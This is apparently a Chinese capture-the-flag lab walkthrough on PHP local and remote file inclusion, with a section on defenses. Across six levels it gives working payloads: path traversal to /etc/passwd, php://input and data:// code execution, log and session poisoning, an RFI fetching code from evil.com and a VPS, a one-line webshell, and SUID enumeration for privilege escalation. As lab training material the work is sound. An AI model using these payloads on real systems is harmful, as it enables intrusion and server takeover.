1. 项目概述从“好靶场”到实战技能提升最近在安全圈子里经常看到有朋友在讨论各种靶场从经典的DVWA、Pikachu到红日、Vulhub大家都在寻找一个能真正练手、深入理解漏洞原理的地方。我自己带新人或者做内部培训的时候也一直在思考什么样的靶场才算“好”它不应该只是把漏洞代码堆砌起来而应该能引导学习者一步步拆解攻击链理解防御思路。今天我想分享的就是围绕“文件包含漏洞”这个经典议题如何利用一个精心设计的靶场我们姑且称之为“好靶场”进行深度实战并整理出一份详尽的通关攻略WP。文件包含漏洞无论是本地文件包含LFI还是远程文件包含RFI都是Web安全中危害极大、却又容易被开发者忽视的一类问题。它允许攻击者将服务器上的本地文件或远程URL包含进当前脚本执行轻则导致敏感信息泄露如/etc/passwd重则结合文件上传等功能实现远程代码执行RCE直接拿下服务器权限。对于安全从业者、CTF选手甚至是开发人员来说透彻理解并能够挖掘、利用和防御这类漏洞是一项核心技能。这个“好靶场-文件包含漏洞靶场WP_1”项目正是为了系统性地攻克这个知识点而设计的。它模拟了真实环境中文件包含漏洞可能出现的多种场景和绕过姿势从最基础的直接包含到需要利用各种技巧如路径遍历、协议封装、编码绕过、日志注入等的高级利用。通过亲手通关这个靶场你不仅能记住几个Payload更能建立起遇到类似漏洞时的系统性攻击思维。接下来我将从靶场的设计思路、每一关的详细破解过程、其中涉及的技术原理以及我踩过的坑和总结的经验为你完整拆解这份WP。2. 靶场环境搭建与核心概念解析2.1 靶场环境快速部署工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的前提。这个“好靶场”通常以Docker镜像或一套完整的PHP项目形式提供。我强烈推荐使用Docker进行部署它能保证环境一致性避免因本地PHP版本、配置差异导致的问题测试完毕后也能一键清理非常方便。假设你已经准备好了Docker环境部署过程通常只需要几条命令。首先从提供的仓库或镜像地址拉取靶场镜像。如果靶场提供了docker-compose.yml文件那么部署就更简单了。# 假设靶场镜像名为 good-range/file-inclusion:latest docker pull good-range/file-inclusion:latest # 运行容器将容器的80端口映射到本地的8080端口 docker run -d -p 8080:80 --name file-inclusion-lab good-range/file-inclusion:latest运行后在浏览器访问http://localhost:8080就能看到靶场的入口界面。如果靶场是源码形式你可能需要将其放置到本地的Web服务器目录如/var/www/html/并确保服务器如Apache/Nginx和PHP已正确安装和配置。关键是要确保PHP的配置允许我们进行漏洞测试例如对于远程文件包含RFI需要allow_url_fopen和allow_url_include设置为On。在实际靶场中这些设置可能会被刻意调整以增加难度模拟真实的安全加固环境。注意永远在授权环境下进行测试这个靶场环境必须运行在你完全可控的本地虚拟机或隔离网络中切勿对公网或未经授权的系统进行任何测试操作。2.2 文件包含漏洞原理深度剖析在开始闯关之前我们必须把原理吃透。文件包含漏洞的根源在于应用程序在动态包含文件时未对用户输入进行充分过滤。在PHP中主要的包含函数有四个include(),include_once(),require(),require_once()。它们的功能相似区别在于错误处理方式require在失败时会产生致命错误并停止脚本include只会产生警告和重复包含检查_once后缀。一个典型的漏洞代码示例如下?php $page $_GET[page]; // 直接接收用户输入 include($page . .php); ?这段代码的本意可能是包含类似about.php,contact.php这样的页面模块。攻击者可以通过构造?page../../../etc/passwd这样的参数利用路径遍历../跳出Web目录读取系统敏感文件。如果$page变量被直接拼接进include且服务器支持RFI攻击者甚至可以传入?pagehttp://evil.com/shell.txt让服务器去包含远程恶意代码并执行。漏洞的危害性主要体现在三个方面敏感信息泄露读取服务器配置文件、数据库连接文件、日志文件等。本地文件包含执行如果服务器存在文件上传点且能预测或控制上传文件的路径可以上传一个包含PHP代码的图片马然后通过文件包含漏洞去包含这个图片文件从而执行代码。远程代码执行RFI这是最危险的情况直接让服务器加载并执行远程主机上的代码相当于获得了WebShell。理解这些原理我们就能明白靶场每一关的设计意图它可能通过禁用某些函数、增加过滤规则、设置特定目录权限等方式来模拟各种防护场景挑战我们灵活运用知识进行绕过。3. 关卡实战从基础到高级的绕过艺术这个靶场预计包含多个难度递增的关卡。下面我将根据常见的文件包含漏洞出题思路模拟并详解一个包含多个关卡的WP。请注意实际靶场的关卡顺序和具体细节可能有所不同但核心的绕过技术和思维是相通的。3.1 第一关基础路径遍历与敏感文件读取关卡描述一个简单的文件包含功能似乎没有任何过滤。观察与测试 访问关卡页面URL可能显示为http://localhost:8080/level1.php?filewelcome.php。页面正常显示了欢迎内容。尝试修改file参数。尝试直接读取/etc/passwd?file../../../../etc/passwd尝试读取Web目录下的源码?fileindex.php或?file./index.php攻击过程与结果 当传入?file../../../../etc/passwd时页面成功显示了Linux系统的用户列表。这说明漏洞存在且应用程序没有设置open_basedir等限制或者限制被我们成功绕过。这是最基础的LFI。原理与技巧../是相对路径的上级目录标识。需要多少个../取决于Web应用根目录到目标文件的层级关系。通常需要多次尝试例如../../../。除了/etc/passwd其他有价值的文件包括/etc/hosts查看主机配置。/proc/self/environ包含环境变量有时会泄露路径或密钥。~/.bash_history用户历史命令。Web服务器的日志文件如Apache的/var/log/apache2/access.log为后续的日志注入攻击做准备。实操心得在第一关不要满足于读取/etc/passwd。多尝试读取关卡本身的源码如level1.php这有助于理解后续关卡的过滤逻辑。可以使用php://filter协议来读取源码避免被直接执行例如?filephp://filter/readconvert.base64-encode/resourcelevel1.php然后将输出的Base64解码。3.2 第二关后缀拼接与空字节截断关卡描述代码在用户输入后强制添加了.php后缀例如include($_GET[file] . “.php“);。观察与测试 直接传入../../../../etc/passwd会变成../../../../etc/passwd.php文件不存在包含失败。我们需要截断后面的.php。攻击过程与结果 在PHP版本小于5.3.4的环境中可以利用空字节%00进行截断。因为C语言中字符串以空字节结束PHP底层由C实现早期版本会认为空字节就是字符串终点。 Payload:?file../../../../etc/passwd%00这样实际拼接的字符串是../../../../etc/passwd%00.php在遇到%00时PHP认为字符串已结束最终尝试包含的文件就是../../../../etc/passwd。原理与技巧空字节截断依赖于PHP旧版本特性在现代PHP环境5.3.4中默认已修复但某些特定配置下可能仍存在。路径长度截断在Windows系统或某些特定环境下超过一定长度如256、4096字节的路径会被截断。可以构造超长的../序列使.php后缀被系统截断。但这种方法限制较多不如空字节通用。思维转换既然它加.php我们能不能让它包含一个本身就是.php的敏感文件或者利用其他技巧这引出了下一关。注意事项空字节截断是历史漏洞但在一些老旧系统或CTF题目中仍可能出现。了解它有助于理解漏洞修复的历史。在现代渗透测试中应优先尝试其他方法。3.3 第三关过滤器绕过与协议利用关卡描述代码对../等路径遍历字符进行了过滤或删除例如使用str_replace(../, , $input)。观察与测试 输入..././..././etc/passwd观察过滤逻辑。是直接删除../字符串一次还是循环删除是否过滤了..\Windows路径攻击过程与结果双写绕过如果过滤是简单的str_replace(../, , $input)且只执行一次可以使用双写绕过。Payload:?file....//....//etc/passwd。经过替换后中间的....//会变成../。绝对路径如果知道Web目录的绝对路径可以直接使用。例如?file/var/www/html/config.php。利用PHP封装协议这是更强大和通用的方法。PHP提供了多种伪协议PHP Wrappers可以用于文件包含。php://filter用于读取文件源码避免执行。?filephp://filter/readconvert.base64-encode/resource/etc/passwdphp://input将POST请求体作为PHP代码执行。需要allow_url_includeOn。用法?filephp://input然后POST body里写?php system(ls);?。data://同样需要allow_url_includeOn。可以直接包含Base64编码的代码。?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4(即?php system(ls);?的base64)。原理与技巧php://filter是信息收集的神器尤其是在无法直接看到源码时。convert.base64-encode过滤器会将文件内容以Base64输出我们解码即可。php://input和data://是代码执行的利器。它们能否使用取决于PHP配置。在靶场中这常常是区分LFI和RFI的关键。如果过滤了php关键字可以尝试大小写混淆PHP://、点号php.://或利用编码但include函数通常要求协议格式正确。3.4 第四关日志文件注入与RCE关卡描述路径遍历和协议都被严格过滤但服务器可能记录了我们的请求。观察与测试 回顾第一关读取到的系统文件列表或者尝试读取常见的日志路径如/var/log/apache2/access.log,/var/log/nginx/access.log,/proc/self/fd/xx文件描述符可能指向日志。攻击过程与结果定位日志文件通过LFI读取可能的日志文件路径。?file../../../../var/log/apache2/access.log。污染日志如果日志文件可读那么我们可以通过User-Agent、Referer或GET参数如果日志记录参数注入PHP代码。例如使用curl或Burp Suite发送一个请求将User-Agent设置为?php phpinfo();?。curl -A ?php phpinfo();? http://localhost:8080/level4.php?filewelcome包含日志文件再次利用文件包含漏洞去包含这个已经被我们“污染”的日志文件。?file../../../../var/log/apache2/access.log。此时日志文件中的PHP代码会被服务器解析执行。原理与技巧日志注入是一种将LFI转化为RCE的经典方法。它不依赖于allow_url_include只要求日志文件可读且位于可包含的路径下。难点日志文件通常很大包含执行可能会超时或报错。需要精确控制注入的代码位置。有时可以包含错误日志error.log通过触发一个包含PHP代码的错误信息来污染它。扩展除了Web日志还可以考虑SSH日志/var/log/auth.log、邮件日志等但这需要相应的服务权限。3.5 第五关Session文件包含与利用关卡描述所有常见的文件、协议、日志路径都被封死。观察与测试 思考服务器上还有什么文件是我们可以部分控制其内容的Session文件是一个绝佳目标。攻击过程与结果获取Session文件路径PHP的Session文件通常存储在/tmp、/var/lib/php/sessions等目录文件名格式为sess_[PHPSESSID]。我们可以通过phpinfo()页面或包含/proc/self/environ来查找session.save_path。控制Session内容PHP的Session默认通过序列化存储。如果我们能控制存入Session的数据就能向Session文件中写入内容。例如一个用户可控的昵称、邮箱等字段被存入$_SESSION。预测Session ID我们需要知道自己的Session文件名。通常浏览器会通过Cookie携带一个PHPSESSID。如果我们能固定这个ID或者应用使用了可预测的ID生成算法就能确定文件位置。实施攻击先访问一个设置Session的页面例如profile.php?name?php system(“ls“);?假设我们的PHPSESSID是abc123Session保存路径是/tmp。然后利用文件包含漏洞包含这个Session文件?file../../../../tmp/sess_abc123。原理与技巧Session文件包含的成功率取决于对Session存储路径和ID的掌控程度以及是否有机会向Session中写入可控数据。在CTF中有时题目会直接给出Session相关提示。在真实环境中这需要更细致的信息收集。如果Session内容经过了序列化我们注入的代码需要符合序列化格式例如username|s:20:“?php phpinfo();?“;要确保长度等字段正确。3.6 第六关编码绕过与终极RFI关卡描述综合性的最强过滤可能包括黑名单关键字过滤、URL解码检查、甚至WAF。观察与测试 尝试输入各种Payload观察返回的错误信息判断过滤规则。是白名单还是黑名单过滤发生在哪个阶段攻击过程与结果多重编码绕过如果过滤函数只执行一次解码或检查可以使用双重URL编码。原始../- URL编码%2e%2e%2f双重编码对%2e%2e%2f再次编码%252e%252e%252f%被编码为%25。服务器收到后可能会解码一次变成%2e%2e%2f如果过滤逻辑在处理%2e%2e%2f之前那么这个字符串可能会被放过最终在include前被解码为../。利用非标准路径分隔符在Windows环境下可以尝试使用..\或..//。结合白名单绕过如果代码逻辑是“如果参数以/var/www/html/开头则包含”但拼接方式有问题可能可以利用?file/var/www/html/../../../etc/passwd绝对路径路径遍历。终极RFI如果服务器配置了allow_url_includeOn且防火墙未拦截对外请求可以尝试真正的远程文件包含。在自己的公网VPS上放置一个shell.txt内容为?php echo “Hacked“; phpinfo();?。Payload:?filehttp://your-vps-ip/shell.txt。重要现代PHP默认禁用allow_url_include且很多环境会限制对外HTTP请求。但在一些特定配置或老旧系统中仍可能遇到。原理与技巧这一关考验的是对流量处理流程的理解和创造性思维。从浏览器到服务器端PHP解释器字符串可能经历多次编码/解码浏览器自动URL编码、Web服务器解码、PHP$_GET解码等。在哪个环节进行过滤决定了哪种绕过方式有效。信息收集至关重要。通过前几关读取到的源码level6.php我们可以精确分析其过滤函数从而设计针对性的绕过Payload。4. 防御方案与安全开发实践通过攻击我们深刻理解了漏洞的成因那么如何防御呢防御的核心原则是不要信任任何用户输入并对包含操作进行严格限制。4.1 输入验证与白名单机制最有效的防御是使用白名单。预先定义一个允许包含的文件名或模块名的列表用户输入只能从这个列表中选取。?php $allowed_pages array(home, about, contact, news); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); // 或直接die(Invalid page!); } ?绝对避免使用黑名单因为过滤字符总有可能被绕过。4.2 安全路径处理与目录限制如果必须使用动态包含请遵循以下原则固定目录将可包含的文件限制在某个特定目录下。$base_dir /var/www/html/includes/; $file basename($_GET[file]); // basename()会去掉路径部分只保留文件名 include($base_dir . $file);使用realpath()和basename()realpath()可以解析掉所有的../符号返回绝对路径然后检查这个绝对路径是否在以Web根目录开始的子目录下。$user_input $_GET[file]; $real_path realpath(./includes/ . $user_input); $base_path realpath(./includes/); if ($real_path ! false strpos($real_path, $base_path) 0) { include($real_path); } else { die(Access denied!); }配置PHP安全设置open_basedir将PHP可操作的文件限制在指定的目录树中。allow_url_fopen和allow_url_include在生产环境中务必设置为Off。4.3 架构设计建议避免动态包含考虑使用路由组件如FastRoute或前端控制器模式将用户请求映射到固定的控制器类和方法而不是直接包含文件。使用安全的模板引擎像Twig、Smarty这样的现代模板引擎其包含机制是安全的会自动处理路径安全问题。代码审计与自动化扫描将文件包含漏洞的检测纳入代码审计和CI/CD流水线中的安全扫描如使用SonarQube、PHPStan配合安全规则。5. 实战问题排查与技巧实录在靶场练习和真实渗透测试中你肯定会遇到各种“奇怪”的情况。下面是我总结的一些常见问题与解决技巧。5.1 包含文件后页面空白或报错可能原因1文件不存在或路径错误。仔细计算路径深度多尝试不同层数的../。使用php://filter读取Web目录下的index.php分析其绝对路径。可能原因2包含的文件语法有误导致解析错误。如果你包含了一个非PHP文件如日志并且其中包含?php ... ?片段但周围可能有非法字符导致PHP解析器出错。尝试使用php://input或data://协议执行单条命令。可能原因3服务器配置了open_basedir限制。通过包含phpinfo()页面确认。如果存在尝试寻找在限制路径内的可利用文件如Session文件、临时文件。5.2php://input或data://协议无效首要检查确认allow_url_include是否开启。包含一个phpinfo()页面查看。请求方法php://input需要POST请求。你在浏览器地址栏用GET方式传参是没用的。必须使用Burp Suite、curl或HackBar等工具发送POST请求。数据格式data://text/plain,?php phpinfo();?或data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8。注意逗号后面不要有空格。5.3 日志注入不成功日志位置不对不同系统、不同Web服务器Apache/Nginx、不同安装方式的日志路径差异很大。需要系统性地枚举。/proc/self/fd/目录下的文件描述符有时会指向当前进程打开的文件包括日志。日志权限不足Web进程用户如www-data可能没有读取日志文件的权限。日志内容未刷新有些日志是缓冲写入的注入后可能需要等待几秒或触发新的日志事件才能写入。多包含几次试试。代码被转义或截断检查日志文件内容看我们注入的?php是否被完整记录。有时、会被HTML编码。可以尝试用?短标签或者将代码编码后注入。5.4 如何高效地进行手工测试信息收集优先第一件事永远是读取源码index.php,level*.php和phpinfo()如果存在。这能直接告诉你过滤逻辑、绝对路径、PHP配置等关键信息。系统化Payload列表准备一个包含各种绕过技巧的Payload字典在测试时依次尝试。例如基础遍历、空字节、双写、绝对路径、各种PHP协议、编码绕过等。工具辅助使用Burp Suite的Intruder模块可以自动化地Fuzz参数。将Payload字典加载进去观察不同的响应长度和内容快速识别成功的Payload。结合其他漏洞文件上传文件包含是经典组合。如果存在上传点尝试上传一个内容为?php system($_GET[‘c‘]);?的图片文件需要绕过图片头检测然后包含它。5.5 从LFI到完整权限的提升思路如果通过文件包含成功执行了命令如ls、whoami那么你已经获得了WebShell权限通常是www-data用户。接下来的目标是提权到root。信息收集运行uname -a查看内核版本cat /etc/os-release查看系统版本sudo -l查看当前用户可以以root身份运行哪些命令。寻找敏感信息在Web目录、配置文件、环境变量、备份文件中寻找数据库密码、SSH密钥等。利用内核漏洞根据收集到的内核版本搜索公开的本地提权LPE漏洞如DirtyCow、sudo漏洞等。可以使用linux-exploit-suggester等脚本辅助检查。利用SUID/GUID文件查找设置了SUID位的文件find / -perm -us -type f 2/dev/null看看其中是否有已知的可利用二进制文件如nmap、vim、find、bash等旧版本。通关这个“好靶场”的过程实际上是一次完整的文件包含漏洞攻防思维训练。它强迫你不仅要知道Payload更要理解每一个Payload生效的上下文环境、PHP配置、操作系统特性以及开发者的过滤逻辑。真正的安全能力就体现在这种面对复杂限制时依然能灵活组合基础知识、找到突破口的思维上。建议你在完成这个靶场后去阅读PHP官方手册中关于文件系统函数和安全配置的章节并尝试在安全环境下审计一些开源项目看看它们是如何处理文件包含的这样才能把知识真正内化。